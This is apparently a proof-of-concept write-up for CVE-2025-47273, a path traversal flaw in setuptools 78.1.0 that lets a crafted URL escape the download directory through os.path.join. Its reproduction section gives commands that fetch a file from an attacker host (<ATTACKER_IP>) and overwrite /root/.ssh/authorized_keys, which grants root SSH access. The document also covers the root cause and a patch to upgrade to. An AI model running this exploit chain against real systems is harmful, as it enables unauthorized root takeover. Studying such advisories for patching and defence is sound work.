CVE-2025-47273: setuptools version 78.1.0 - Path Traversal in setuptools.package_index

Disclaimer

This Proof of Concept (PoC) is intended for educational purposes and authorized security auditing only. The author assumes no responsibility for misuse of this information. Unauthorized access to computer systems is illegal and unethical.

Vulnerability Analysis

CVE-2025-47273 is a path traversal vulnerability found in the package_index module of the setuptools library (v78.1.0 and earlier). The vulnerability allows an attacker to perform an arbitrary file write by providing a specially crafted URL to the PackageIndex.download() method.

The Root Cause: os.path.join() Behavior

The flaw stems from a common pitfall in Python's os.path.join() function. According to the Python documentation:

If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.

In the vulnerable version of setuptools, the destination filename is determined by extracting a name from the URL and joining it with a temporary directory:

# setuptools/package_index.py
filename = os.path.join(tmpdir, name)

If an attacker provides a URL where the filename part (after URL decoding) starts with a forward slash /, os.path.join discards the tmpdir prefix and returns the absolute path provided in the URL.

Vulnerability Flow Diagram

[ Attacker-Controlled URL ]
http://attacker.local/%2fetc%2fpasswd
          |
          | 1. URL Decoding
          v
[ Decoded Filename (name) ]
"/etc/passwd"
          |
          | 2. Vulnerable Function Call
          v
os.path.join("/tmp/download_dir", "/etc/passwd")
          |
          | 3. Python os.path.join Logic
          v
[ Resulting Path (filename) ]
"/etc/passwd"  <-- /tmp/download_dir is discarded!

Technical Impact

Since the destination path can be manipulated into an absolute path, an attacker can write arbitrary content to any location on the filesystem where the process has write permissions.

High-Impact Scenarios:

1. Privilege Escalation: If the process using setuptools runs with elevated privileges (e.g., a system-wide installer), an attacker can overwrite critical system files like /etc/passwd, /root/.ssh/authorized_keys, or /etc/shadow and many other possibilities...
2. Persistence / RCE: Overwriting user-level configuration files such as ~/.bashrc, ~/.ssh/authorized_keys, or injecting code into existing Python libraries can lead to persistent Remote Code Execution.

Reproduction (Overwriting /root/.ssh/authorized_keys )

Environment Setup

The vulnerability is present in setuptools version 78.1.0.

pip install setuptools==78.1.0

1. generate ssh key pairs in the poc directory

ssh-keygen -t rsa -b 4096 -f id_rsa -N ""

1. Start the Malicious Server (attacker machine)

The server.py script acts as a malicious package index. It serves a payload file regardless of the requested path, and the file we are serving is id_rsa.pub.

python3 server.py 80

2. Run the Exploit (target machine)

Trigger the file write using this command and then you can ssh into root with your premade ssh key pair

sudo python3 -c 'from setuptools.package_index import PackageIndex;PackageIndex().download("http://<ATTACKER_IP>:80/%2froot%2f.ssh%2fauthorized_keys", "/tmp")'

3. Finally ssh into target machine as root with the private key we created at step 1

ssh -i id_rsa root@<target-ip>

Mitigation

The vulnerability was addressed in setuptools version 78.1.1. The fix involves strictly sanitizing the name variable derived from the URL to ensure it does not contain leading slashes or drive letters before it is passed to os.path.join().

To secure your environment:

pip install --upgrade setuptools

References

• setuptools Issue #4946
• NVD - CVE-2025-47273
• Huntr Bounty Report